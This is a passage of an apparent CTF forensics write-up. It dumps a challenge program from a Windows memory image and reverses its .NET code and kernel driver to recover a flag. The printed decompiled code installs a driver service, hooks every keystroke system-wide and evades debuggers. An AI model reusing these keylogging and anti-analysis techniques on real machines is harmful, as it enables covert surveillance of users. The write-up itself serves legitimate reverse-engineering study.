22:01:13.000000 N/A *** 492 476 csrss.exe 0xa08ce1fbb080 12 - 1 False 2022-09-02 22:01:12.000000 N/A * 1356 4 MemCompression 0xa08ce23e9280 18 - N/A False 2022-09-02 22:01:13.000000 N/A ``` We can see an interesting process labeled `TeaParty`, let's dump it: ```console ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ vol -f $memdump windows.pslist --pid 4484 --dump Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished PID PPID ImageFileName Offset(V) Threads Handles SessionId Wow64 CreateTime ExitTime File output 4484 2700 TeaParty.exe 0xa08ce26aa080 9 - 1 True 2022-09-02 22:26:18.000000 N/A pid.4484.0x420000.dmp ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ file pid.4484.0x420000.dmp pid.4484.0x420000.dmp: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows ``` It's a .NET executable, we can decompile it with dotPeek. <details> <summary>Full source code</summary> ```csharp // Decompiled with JetBrains decompiler // Type: TeaParty.TeaParty // Assembly: TeaParty, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null // MVID: C5228E40-9DB9-4613-9B66-CF1FA1BC1DA7 // Assembly location: E:\CTFs\intent\FTP\pid.4484.0x420000.exe using System; using System.Collections.Generic; using System.ComponentModel; using System.Diagnostics; using System.Drawing; using System.IO; using System.Linq; using System.Reflection; using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using System.Windows.Forms; namespace TeaParty { public class TeaParty : Form { private const int WH_KEYBOARD_LL = 13; private const int WM_KEYDOWN = 256; private static TeaParty.TeaParty.HookProc hookProc = new TeaParty.TeaParty.HookProc(TeaParty.TeaParty.HookCallback); private static IntPtr hookId = IntPtr.Zero; private static int passcodeLength = 17; private static List<string> buffers = new List<string>(); private const uint SERVICE_NO_CHANGE = 4294967295; private const uint SC_MANAGER_ALL_ACCESS = 983103; private const uint SERVICE_ALL_ACCESS = 983551; private IContainer components = (IContainer) null; private PictureBox pictureBox1; [DllImport("user32.dll")] private static extern IntPtr SetWindowsHookEx( int idHook, TeaParty.TeaParty.HookProc lpfn, IntPtr hMod, uint dwThreadId); [DllImport("user32.dll")] private static extern bool UnhookWindowsHookEx(IntPtr hhk); [DllImport("user32.dll")] private static extern IntPtr CallNextHookEx( IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam); [DllImport("kernel32.dll")] private static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport("kernel32.dll")] private static extern bool DeviceIoControl( IntPtr hDevice, uint dwIoControlCode, IntPtr lpInBuffer, uint nInBufferSize, IntPtr lpOutBuffer, uint nOutBufferSize, out int lpBytesReturned, IntPtr lpOverlapped); [DllImport("kernel32.dll")] private static extern IntPtr CreateFileA( string lpFileName, uint dwDesiredAccess, uint dwSharedMode, IntPtr lpSecurityAttributes, uint dwCreationDisposition, uint dwFlagsAndAttributes, IntPtr hTemplate); [DllImport("kernel32.dll")] private static extern bool CloseHandle(IntPtr hHandle); [DllImport("kernel32.dll")] private static extern bool IsDebuggerPresent(); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr OpenSCManager( string lpMachineName, string lpDatabaseName, uint dwDesiredAccess); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr OpenService( IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern IntPtr CreateServiceW( IntPtr hSCManager, string lpServiceName, string lpDisplayName, uint dwDesiredAccess, uint dwServiceType, uint dwStartType, uint dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool QueryServiceConfig( IntPtr hService, IntPtr lpServiceConfig, uint cbBufSize, out uint pcbBytesNeeded); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool ChangeServiceConfig( IntPtr hService, uint dwServiceType, uint dwStartType, uint dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, IntPtr lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] [return: MarshalAs(UnmanagedType.Bool)] private static extern bool CloseServiceHandle(IntPtr hSCObject); [DllImport("advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)] private static extern bool StartServiceW( IntPtr hService, uint dwNumServiceArgs, IntPtr lpServiceArgVectors); [DllImport("kernel32.dll")] private static extern uint GetLastError(); private static string GetHash1() { IntPtr fileA = TeaParty.TeaParty.CreateFileA("\\\\.\\TeaParty", 1073741824U, 2U, IntPtr.Zero, 3U, 0U, IntPtr.Zero); IntPtr num = Marshal.AllocHGlobal(32); int lpBytesReturned = 0; TeaParty.TeaParty.DeviceIoControl(fileA, 2236424U, IntPtr.Zero, 0U, num, 32U, out lpBytesReturned, IntPtr.Zero); byte[] numArray = new byte[32]; Marshal.Copy(num, numArray, 0, 32); Marshal.FreeHGlobal(num); TeaParty.TeaParty.CloseHandle(fileA); return Encoding.ASCII.GetString(numArray); } private static bool CheckDebugging() => Environment.ProcessorCount < 2 || (TeaParty.TeaParty.IsDebuggerPresent() || Debugger.IsAttached); private static string GetHash2() { if (TeaParty.TeaParty.CheckDebugging()) Environment.FailFast("Suspecting Anti-Analysis Environment"); IntPtr fileA = TeaParty.TeaParty.CreateFileA("\\\\.\\TeaParty", 1073741824U, 2U, IntPtr.Zero, 3U, 0U, IntPtr.Zero); IntPtr num = Marshal.AllocHGlobal(32); int lpBytesReturned = 0; TeaParty.TeaParty.DeviceIoControl(fileA, 2236428U, IntPtr.Zero, 0U, num, 32U, out lpBytesReturned, IntPtr.Zero); byte[] numArray = new byte[32]; Marshal.Copy(num, numArray, 0, 32); Marshal.FreeHGlobal(num); TeaParty.TeaParty.CloseHandle(fileA); return Encoding.ASCII.GetString(numArray); } private static string GetFlag(string passcode) { IntPtr fileA = TeaParty.TeaParty.CreateFileA("\\\\.\\TeaParty", 1073741824U, 2U, IntPtr.Zero, 3U, 0U, IntPtr.Zero); IntPtr num1 = Marshal.AllocHGlobal(512); int lpBytesReturned = 0; IntPtr num2 = Marshal.AllocHGlobal(passcode.Length + 1); Marshal.Copy(Encoding.ASCII.GetBytes(passcode + "\0"), 0, num2, passcode.Length + 1); bool flag = TeaParty.TeaParty.DeviceIoControl(fileA, 2236416U, num2, (uint) (passcode.Length + 1), IntPtr.Zero, 0U, out lpBytesReturned, IntPtr.Zero); flag = TeaParty.TeaParty.DeviceIoControl(fileA, 2236420U, IntPtr.Zero, 0U, num1, 512U, out lpBytesReturned, IntPtr.Zero); byte[] numArray = new byte[lpBytesReturned]; Marshal.Copy(num1, numArray, 0, lpBytesReturned); int num3 = (int) MessageBox.Show(Encoding.ASCII.GetString(numArray)); Marshal.FreeHGlobal(num1); Marshal.FreeHGlobal(num2); TeaParty.TeaParty.CloseHandle(fileA); return Encoding.ASCII.GetString(numArray); } private static string CalculateMd5HexDigest(string data) { using (MD5 md5 = MD5.Create()) return BitConverter.ToString(md5.ComputeHash(Encoding.ASCII.GetBytes(data))).Replace("-", string.Empty).ToLower(); } private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr) 256) { int num1 = Marshal.ReadInt32(lParam); for (int index = 0; index < TeaParty.TeaParty.passcodeLength; ++index) TeaParty.TeaParty.buffers[index] += ((char) num1).ToString(); if (TeaParty.TeaParty.CalculateMd5HexDigest(TeaParty.TeaParty.buffers.Last<string>()) == TeaParty.TeaParty.GetHash1() || TeaParty.TeaParty.CalculateMd5HexDigest(TeaParty.TeaParty.buffers.Last<string>()) == TeaParty.TeaParty.GetHash2()) { TeaParty.TeaParty.UnhookWindowsHookEx(TeaParty.TeaParty.hookId); int num2 = (int) MessageBox.Show("You Got the FLAG!"); TeaParty.TeaParty.GetFlag(TeaParty.TeaParty.buffers.Last<string>().ToLower()); Application.Exit(); } TeaParty.TeaParty.buffers.RemoveAt(TeaParty.TeaParty.buffers.Count - 1); TeaParty.TeaParty.buffers.Insert(0, ""); } return TeaParty.TeaParty.CallNextHookEx(TeaParty.TeaParty.hookId, nCode, wParam, lParam); } private static IntPtr SetHook(TeaParty.TeaParty.HookProc hookProc) { IntPtr moduleHandle = TeaParty.TeaParty.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName); return TeaParty.TeaParty.SetWindowsHookEx(13, hookProc, moduleHandle, 0U); } public TeaParty() => this.InitializeComponent(); public static bool ResourceExists(string resourceName) => ((IEnumerable<string>) Assembly.GetCallingAssembly().GetManifestResourceNames()).Contains<string>(resourceName); public static byte[] ReadResource(string resourceName) { byte[] buffer = (byte[]) null; try { using (Stream manifestResourceStream = Assembly.GetCallingAssembly().GetManifestResourceStream(resourceName)) { buffer = new byte[(int) manifestResourceStream.Length]; manifestResourceStream.Read(buffer, 0, (int) manifestResourceStream.Length); } } catch (NullReferenceException ex) { throw ex; } return buffer; } private static byte[] GetResource(string resourceName) { resourceName = Assembly.GetCallingAssembly().GetName().Name + "." + resourceName; return TeaParty.TeaParty.ResourceExists(resourceName) ? TeaParty.TeaParty.ReadResource(resourceName) : (byte[]) null; } private static byte[] decodeResource(byte[] data) { byte[] numArray = new byte[data.Length]; for (int index = 0; index < data.Length; ++index) numArray[index] = (byte) ((uint) data[index] ^ 170U); return numArray; } private static void InstallDriver(string driverName, string driverPath) { IntPtr num1 = IntPtr.Zero; byte[] resource = TeaParty.TeaParty.GetResource(driverName + ".sys"); if (resource != null) { byte[] bytes = TeaParty.TeaParty.decodeResource(resource); if (!File.Exists(driverPath)) { if (!Directory.Exists(Path.GetDirectoryName(driverPath))) Directory.CreateDirectory(Path.GetDirectoryName(driverPath)); File.WriteAllBytes(driverPath, bytes); } } IntPtr num2 = TeaParty.TeaParty.OpenSCManager((string) null, (string) null, 983103U); if (num2 != IntPtr.Zero) { num1 = TeaParty.TeaParty.OpenService(num2, driverName, 983551U); if (!(num1 != IntPtr.Zero)) num1 = TeaParty.TeaParty.CreateServiceW(num2, nameof (TeaParty), "AliceInWonderlandTeaParty", 983103U, 1U, 3U, 1U, driverPath, (string) null, IntPtr.Zero, string.Empty, (string) null, string.Empty); } TeaParty.TeaParty.StartServiceW(num1, 0U, IntPtr.Zero); TeaParty.TeaParty.CloseServiceHandle(num1); TeaParty.TeaParty.CloseServiceHandle(num2); } private void Form1_Load(object sender, EventArgs e) { TeaParty.TeaParty.InstallDriver(nameof (TeaParty), "C:\\Program Files\\AliceInWonderlandTeaParty\\TeaParty.sys"); if (TeaParty.TeaParty.CheckDebugging()) Environment.FailFast("Suspecting Anti-Analysis Environment"); TeaParty.TeaParty.hookId = TeaParty.TeaParty.SetHook(TeaParty.TeaParty.hookProc); for (int index = 0; index < TeaParty.TeaParty.passcodeLength; ++index) TeaParty.TeaParty.buffers.Add(""); } private void Form1_Close(object sender, FormClosingEventArgs e) => TeaParty.TeaParty.UnhookWindowsHookEx(TeaParty.TeaParty.hookId); protected override void Dispose(bool disposing) { if (disposing && this.components != null) this.components.Dispose(); base.Dispose(disposing); } private void InitializeComponent() { ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (TeaParty.TeaParty)); this.pictureBox1 = new PictureBox(); ((ISupportInitialize) this.pictureBox1).BeginInit(); this.SuspendLayout(); this.pictureBox1.Image = (Image) componentResourceManager.GetObject("pictureBox1.Image"); this.pictureBox1.Location = new Point(111, 54); this.pictureBox1.Name = "pictureBox1"; this.pictureBox1.Size = new Size(253, 199); this.pictureBox1.TabIndex = 0; this.pictureBox1.TabStop = false; this.AutoScaleDimensions = new SizeF(12f, 25f); this.AutoScaleMode = AutoScaleMode.Font; this.ClientSize = new Size(529, 320); this.Controls.Add((Control) this.pictureBox1); this.Margin = new Padding(6); this.Name = nameof (TeaParty); this.Text = "DownTheRabbitHole"; this.FormClosing += new FormClosingEventHandler(this.Form1_Close); this.Load += new EventHandler(this.Form1_Load); ((ISupportInitialize) this.pictureBox1).EndInit(); this.ResumeLayout(false); } private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam); [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)] private struct QUERY_SERVICE_CONFIG { public uint dwServiceType; public uint dwStartType; public uint dwErrorControl; public string lpBinaryPathName; public string lpLoadOrderGroup; public uint dwTagId; public string lpDependencies; public string lpServiceStartName; public string lpDisplayName; } } } ``` </details> The initialization method does two things: ```csharp private void Form1_Load(object sender, EventArgs e) { TeaParty.TeaParty.InstallDriver(nameof (TeaParty), "C:\\Program Files\\AliceInWonderlandTeaParty\\TeaParty.sys"); if (TeaParty.TeaParty.CheckDebugging()) Environment.FailFast("Suspecting Anti-Analysis Environment"); TeaParty.TeaParty.hookId = TeaParty.TeaParty.SetHook(TeaParty.TeaParty.hookProc); for (int index = 0; index < TeaParty.TeaParty.passcodeLength; ++index) TeaParty.TeaParty.buffers.Add(""); } ``` The first thing the program does is install some driver. We can find it in the memory dump: ```console ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ vol -f $memdump windows.modules | grep -i tea 0xa08ce3586a80.00xf80944e00000 0x7000anTeaParty.sys \??\C:\Program Files\AliceInWonderlandTeaParty\TeaParty.sys Disabled ┌──(user@kali)-[/media/sf_CTFs/intent/Forensic_Tea_Party/Windows10x64_AliceInWonderland-b4365e16.vmem] └─$ vol -f $memdump windows.filescan | grep -i tea 0xa08ce28d2960.0\Windows\Prefetch\TEAPARTY.EXE-A85CB48A.pf 216 0xa08ce2930820 \Users\TheMadHatter\Desktop\TeaParty.exe 216 0xa08ce30512e0 \Users\TheMadHatter\Desktop\TeaParty.exe 216 0xa08ce34c31c0 \Users\TheMadHatter\Desktop\TeaParty.exe 216 0xa08ce38c74b0 \Program Files\AliceInWonderlandTeaParty\TeaParty.sys 216 ``` Let's dump it (`moddump` is missing on latest volatility?): ```console ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ vol -f $memdump windows.dumpfiles --virtaddr 0xa08ce38c74b0 Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished Cache FileObject FileName Result DataSectionObject 0xa08ce38c74b0 TeaParty.sys file.0xa08ce38c74b0.0xa08ce2ebde50.DataSectionObject.TeaParty.sys.dat ImageSectionObject 0xa08ce38c74b0 TeaParty.sys file.0xa08ce38c74b0.0xa08ce3537de0.ImageSectionObject.TeaParty.sys.img ``` Using Ghidra, we can see that the driver sets up some handlers during initialization: ```c undefined8 driver_init(longlong param_1) { undefined local_28 [16]; undefined local_18 [16]; DbgPrint("Hello World!\n"); RtlInitUnicodeString(local_28,L"\\Device\\TeaParty"); RtlInitUnicodeString(local_18,L"\\DosDevices\\TeaParty"); IoCreateDevice(param_1,0,local_28,0x22,0,0,&DAT_00013050); IoCreateSymbolicLink(local_18,local_28); *(code **)(param_1 + 0x70) = empty_handler; *(code **)(param_1 + 0x80) = empty_handler; *(code **)(param_1 + 0x88) = empty_handler; *(code **)(param_1 + 0x90) = empty_handler; *(code **)(param_1 + 0xe0) = message_handler; *(code **)(param_1 + 0x68) = unload_handler; return 0; } ``` We'll return to what it does during runtime later. Back to the initialization method of the `.NET` application. The second thing it does is to setup some hook for `WH_KEYBOARD_LL` (`13`): ```csharp private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) { if (nCode >= 0 && wParam == (IntPtr) 256) { int num1 = Marshal.ReadInt32(lParam); for (int index = 0; index < TeaParty.TeaParty.passcodeLength; ++index) TeaParty.TeaParty.buffers[index] += ((char) num1).ToString(); if (TeaParty.TeaParty.CalculateMd5HexDigest(TeaParty.TeaParty.buffers.Last<string>()) == TeaParty.TeaParty.GetHash1() || TeaParty.TeaParty.CalculateMd5HexDigest(TeaParty.TeaParty.buffers.Last<string>()) == TeaParty.TeaParty.GetHash2()) { TeaParty.TeaParty.UnhookWindowsHookEx(TeaParty.TeaParty.hookId); int num2 = (int) MessageBox.Show("You Got the FLAG!"); TeaParty.TeaParty.GetFlag(TeaParty.TeaParty.buffers.Last<string>().ToLower()); Application.Exit(); } TeaParty.TeaParty.buffers.RemoveAt(TeaParty.TeaParty.buffers.Count - 1); TeaParty.TeaParty.buffers.Insert(0, ""); } return TeaParty.TeaParty.CallNextHookEx(TeaParty.TeaParty.hookId, nCode, wParam, lParam); } ``` If this is a `WM_KEYDOWN` (`256`) event, the program appends the key code to all 17 entries of `buffers`. In other words, `buffers.Last()` contains at every point the last `17` characters typed on the keyboard (assuming that at least 17 characters were already typed). At this point, the program takes the last 17 characters typed, calculates an MD5 hash on them and compares the result to the hash received from `GetHash1()` and `GetHash2()`. If one of them matches - we get the flag! ```csharp private static string GetHash1() { IntPtr fileA = TeaParty.TeaParty.CreateFileA("\\\\.\\TeaParty", 1073741824U, 2U, IntPtr.Zero, 3U, 0U, IntPtr.Zero); IntPtr num = Marshal.AllocHGlobal(32); int lpBytesReturned = 0; TeaParty.TeaParty.DeviceIoControl(fileA, 2236424U, IntPtr.Zero, 0U, num, 32U, out lpBytesReturned, IntPtr.Zero); byte[] numArray = new byte[32]; Marshal.Copy(num, numArray, 0, 32); Marshal.FreeHGlobal(num); TeaParty.TeaParty.CloseHandle(fileA); return Encoding.ASCII.GetString(numArray); } private static bool CheckDebugging() => Environment.ProcessorCount < 2 || (TeaParty.TeaParty.IsDebuggerPresent() || Debugger.IsAttached); private static string GetHash2() { if (TeaParty.TeaParty.CheckDebugging()) Environment.FailFast("Suspecting Anti-Analysis Environment"); IntPtr fileA = TeaParty.TeaParty.CreateFileA("\\\\.\\TeaParty", 1073741824U, 2U, IntPtr.Zero, 3U, 0U, IntPtr.Zero); IntPtr num = Marshal.AllocHGlobal(32); int lpBytesReturned = 0; TeaParty.TeaParty.DeviceIoControl(fileA, 2236428U, IntPtr.Zero, 0U, num, 32U, out lpBytesReturned, IntPtr.Zero); byte[] numArray = new byte[32]; Marshal.Copy(num, numArray, 0, 32); Marshal.FreeHGlobal(num); TeaParty.TeaParty.CloseHandle(fileA); return Encoding.ASCII.GetString(numArray); } ``` The `GetHashX` methods get the hash from the `TeaParty` driver that we saw earlier. The following function handles it: ```c void message_handler(undefined8 param_1,longlong param_2) { int iVar1; undefined4 *puVar2; void *_Src; undefined4 uVar3; undefined4 uVar4; undefined4 uVar5; uint hash_idx; size_t _Size; longlong lVar6; undefined auStack152 [32]; undefined4 reg_key_out [2]; undefined local_70 [8]; undefined4 uStack104; undefined4 uStack100; undefined local_60 [8]; undefined4 uStack88; undefined4 uStack84; undefined local_50 [8]; undefined4 uStack72; undefined4 uStack68; undefined local_40 [8]; undefined4 uStack56; undefined4 uStack52; undefined4 reg_key; ulonglong local_10; uint i; undefined (*p_flag) [16]; local_10 = DAT_00013000 ^ (ulonglong)auStack152; lVar6 = *(longlong *)(param_2 + 0xb8); reg_key_out[0] = 0; _local_50 = ZEXT816(0); _local_40 = ZEXT816(0); _local_70 = ZEXT816(0); _local_60 = ZEXT816(0); read_reg_key(L"\\Registry\\Machine\\SOFTWARE\\AliceInWonderlandTeaParty",L"CareForTea", (undefined *)reg_key_out); p_flag = g_flag; iVar1 = *(int *)(lVar6 + 0x18); reg_key = reg_key_out[0]; if (iVar1 == 0x222000) { _Src = *(void **)(param_2 + 0x18); DbgPrint(_Src); _Size = 0xffffffffffffffff; _g_passcode = ZEXT816(0); _DAT_00013068 = ZEXT816(0); do { _Size = _Size + 1; } while (*(char *)((longlong)_Src + _Size) != '\0'); memmove(&g_passcode,_Src,_Size); g_flag = decrypt_flag(&g_encrypted_flag,0x30); DbgPrint(g_flag); } else if (iVar1 == 0x222004) { puVar2 = *(undefined4 **)(param_2 + 0x18); *(undefined4 *)(lVar6 + 8) = 8; uVar3 = *(undefined4 *)(*p_flag + 4); uVar4 = *(undefined4 *)(*p_flag + 8); uVar5 = *(undefined4 *)(*p_flag + 0xc); *puVar2 = *(undefined4 *)*p_flag; puVar2[1] = uVar3; puVar2[2] = uVar4; puVar2[3] = uVar5; uVar3 = *(undefined4 *)(p_flag[1] + 4); uVar4 = *(undefined4 *)(p_flag[1] + 8); uVar5 = *(undefined4 *)(p_flag[1] + 0xc); puVar2[4] = *(undefined4 *)p_flag[1]; puVar2[5] = uVar3; puVar2[6] = uVar4; puVar2[7] = uVar5; uVar3 = *(undefined4 *)(p_flag[2] + 4); uVar4 = *(undefined4 *)(p_flag[2] + 8); uVar5 = *(undefined4 *)(p_flag[2] + 0xc); puVar2[8] = *(undefined4 *)p_flag[2]; puVar2[9] = uVar3; puVar2[10] = uVar4; puVar2[0xb] = uVar5; ExFreePoolWithTag(p_flag,0xaabbccdd); } else { if (iVar1 == 0x222008) { p_flag = *(undefined (**) [16])(param_2 + 0x18); *(undefined4 *)(lVar6 + 8) = 0x20; lVar6 = 0; i = 0; do { hash_idx = i + 1; local_50[lVar6] = *(byte *)((longlong)&reg_key + (ulonglong)(i & 3)) ^ (&g_hash1)[lVar6]; lVar6 = lVar6 + 1; i = hash_idx; } while ((int)hash_idx < 0x20); local_70._0_4_ = local_50._0_4_; local_70._4_4_ = local_50._4_4_; uStack104 = uStack72; uStack100 = uStack68; local_60._0_4_ = local_40._0_4_; local_60._4_4_ = local_40._4_4_; uStack88 = uStack56; uStack84 = uStack52; } else { if (iVar1 != 0x22200c) goto LAB_00011469; p_flag = *(undefined (**) [16])(param_2 + 0x18); *(undefined4 *)(lVar6 + 8) = 0x20; lVar6 = 0; i = 0; do { hash_idx = i + 1; local_70[lVar6] = *(byte *)((longlong)&reg_key + (ulonglong)(i & 3)) ^ (&g_hash2)[lVar6]; lVar6 = lVar6 + 1; i = hash_idx; } while ((int)hash_idx < 0x20); } *p_flag = CONCAT412(uStack100,CONCAT48(uStack104,CONCAT44(local_70._4_4_,local_70._0_4_))); p_flag[1] = CONCAT412(uStack84,CONCAT48(uStack88,CONCAT44(local_60._4_4_,local_60._0_4_))); } LAB_00011469: *(undefined4 *)(param_2 + 0x30) = 0; *(undefined8 *)(param_2 + 0x38) = 0x30; IofCompleteRequest(param_2,0); FUN_000117a0(local_10 ^ (ulonglong)auStack152); return; } ``` We can see that the function reads `\Registry\Machine\SOFTWARE\AliceInWonderlandTeaParty\CareForTea` from the registry, then uses it to decrypt both hashes using XOR. The registry key can be extracted from the dump. In general, the following command should work: ```console ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ vol -f $memdump windows.registry.printkey --key "AliceInWonderlandTeaParty" --recurse Volatility 3 Framework 2.4.1 Progress: 100.00 PDB scanning finished Last Write Time Hive Offset Type Key Name Data Volatile - 0xde88d0023000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d003d000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d0078000 Key ?\AliceInWonderlandTeaParty - - ``` However version `2.4.1` probably has a bug. Running the same command on an older version of volatility provides the key: ``` Volatility 3 Framework 1.0.0 Progress: 100.00 PDB scanning finished Last Write Time Hive Offset Type Key Name Data Volatile - 0xde88d0023000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d003d000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d0078000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d77e2000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d6119000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d7dc6000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d7d21000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d7d06000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d7bae000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d716f000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d6a54000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d692b000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d6335000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d62ff000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d6177000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d606c000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d5ff3000 Key ?\AliceInWonderlandTeaParty - - - 0xde88d0c29000 Key ?\AliceInWonderlandTeaParty - - 2022-09-02 22:32:25.000000 0xde88d0ae4000 REG_DWORD \SystemRoot\System32\Config\SOFTWARE\AliceInWonderlandTeaParty CareForTea 2703026955 False ``` We can see that the key is `2703026955` (`0xa11ceb0b`). We XOR it with the encrypted hashes to retrieve the plaintext hashes: ```python >>> from pwn import * >>> xor(p32(0xa11ceb0b), b'\x39\xd3\x2a\x98\x3e\xdf\x7a\xc3\x6e\xda\x25\xc0\x3f\x8f\x79\x99\x3d\xde\x2b\x99\x32\x8d\x78\xc7\x3c\xde\x7f\xc2\x6a\xde\x79\xc0') b'286954fbe19a4de865789fdf75cca5ea' >>> xor(p32(0xa11ceb0b), b'\x32\x89\x2d\xc7\x3a\xd3\x7e\xc2\x32\x8e\x29\x94\x3d\xd2\x7a\xc3\x3a\xdd\x2a\xc0\x39\xd9\x7f\xc0\x3d\x8e\x7e\x92\x38\xdc\x7d\x95') b'9b1f18bc9e5569fb166a22ca6eb337a4' ``` During the CTF itself, we were just lucky and skipped the whole thing by searching for MD5 hashes in the memory: ```console ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ vol -f $memdump windows.memmap --dump --pid 4484 ┌──(user@kali)-[~/CTFs/intent/FTP] └─$ strings -n 32 pid.4484.dmp | grep -iP '^[0-9a-f]+$' | head 286954fbe19a4de865789fdf75cca5ea 286954fbe19a4de865789fdf75cca5ea 9b1f18bc9e5569fb166a22ca6eb337a4 286954fbe19a4de865789fdf75cca5ea 9b1f18bc9e5569fb166a22ca6eb337a4 286954fbe19a4de865789fdf75cca5ea 9b1f18bc9e5569fb166a22ca6eb337a4 286954fbe19a4de865789fdf75cca5ea 9b1f18bc9e5569fb166a22ca6eb337a4 286954fbe19a4de865789fdf75cca5ea ``` Now that we have the hashes, we use a reverse hash lookup service such as [CrackStation](https://crackstation.net/) to get the original input to the hash function. For `286954fbe19a4de865789fdf75cca5ea` it's `whothefuckisalice`. The second hash wasn't cracked but we just need one. Once we have the correct passcode, the program calls `GetFlag`: ```csharp private static string GetFlag(string passcode) { IntPtr fileA = TeaParty.TeaParty.CreateFileA("\\\\.\\TeaParty", 1073741824U, 2U, IntPtr.Zero, 3U, 0U, IntPtr.Zero); IntPtr num1 = Marshal.AllocHGlobal(512); int lpBytesReturned = 0; IntPtr num2 = Marshal.AllocHGlobal(passcode.Length + 1); Marshal.Copy(Encoding.ASCII.GetBytes(passcode + "\0"), 0, num2, passcode.Length + 1); bool flag = TeaParty.TeaParty.DeviceIoControl(fileA, 2236416U, num2, (uint) (passcode.Length + 1), IntPtr.Zero, 0U, out lpBytesReturned, IntPtr.Zero); flag = TeaParty.TeaParty.DeviceIoControl(fileA, 2236420U, IntPtr.Zero, 0U, num1, 512U, out lpBytesReturned, IntPtr.Zero); byte[] numArray = new byte[lpBytesReturned]; Marshal.Copy(num1, numArray, 0, lpBytesReturned); int num3 = (int) MessageBox.Show(Encoding.ASCII.GetString(numArray)); Marshal.FreeHGlobal(num1); Marshal.FreeHGlobal(num2); TeaParty.TeaParty.CloseHandle(fileA); return Encoding.ASCII.GetString(numArray); } ``` This sends us back to the driver, to the following section: ```c if (iVar1 == 0x222000) { _Src = *(void **)(param_2 + 0x18); DbgPrint(_Src); _Size = 0xffffffffffffffff; _g_passcode = ZEXT816(0); _DAT_00013068 = ZEXT816(0); do { _Size = _Size + 1; } while (*(char *)((longlong)_Src + _Size) != '\0'); memmove(&g_passcode,_Src,_Size); g_flag = decrypt_flag(&g_encrypted_flag,0x30); DbgPrint(g_flag); } ``` The actual decryption happens here: ```c undefined (*) [16] decrypt_flag(PUCHAR encrypted_buffer,ULONG encrypted_buffer_size) { NTSTATUS NVar1; undefined (*pbKeyObject) [16]; undefined (*pbIV) [16]; undefined (*pbOutput) [16]; undefined (*pauVar2) [16]; undefined (*pauVar3) [16]; uint local_res18 [2]; uint local_res20 [2]; ULONG local_58; ULONG local_54; BCRYPT_HANDLE local_50; BCRYPT_KEY_HANDLE local_48 [2]; pbIV = (undefined (*) [16])0x0; local_50 = (BCRYPT_HANDLE)0x0; local_48[0] = (BCRYPT_KEY_HANDLE)0x0; local_res20[0] = 0; local_54 = 0; local_58 = 0; local_res18[0] = 0; pauVar3 = (undefined (*) [16])0x0; pauVar2 = (undefined (*) [16])0x0; NVar1 = BCryptOpenAlgorithmProvider(&local_50,L"AES",(LPCWSTR)0x0,0); pbOutput = pbIV; pbKeyObject = pbIV; if (-1 < NVar1) { NVar1 = BCryptGetProperty(local_50,L"ObjectLength",(PUCHAR)&local_58,8,&local_54,0); pbIV = pauVar2; pbOutput = pauVar3; pbKeyObject = (undefined (*) [16])0x0; if (-1 < NVar1) { pbKeyObject = (undefined (*) [16])ExAllocatePoolWithTag(1,local_58,0xaabbccdd); if (pbKeyObject != (undefined (*) [16])0x0) { NVar1 = BCryptGetProperty(local_50,L"BlockLength",(PUCHAR)local_res18,8,&local_54,0); if ((-1 < NVar1) && (local_res18[0] < 0x11)) { pbIV = (undefined (*) [16])ExAllocatePoolWithTag(1); if (pbIV != (undefined (*) [16])0x0) { memmove(pbIV,&DAT_00012110,(ulonglong)local_res18[0]); NVar1 = BCryptSetProperty(local_50,L"ChainingMode",(PUCHAR)L"ChainingModeCBC",0x20,0); if (-1 < NVar1) { NVar1 = BCryptGenerateSymmetricKey (local_50,local_48,(PUCHAR)pbKeyObject,local_58,&g_passcode,0x20,0); if (-1 < NVar1) { NVar1 = 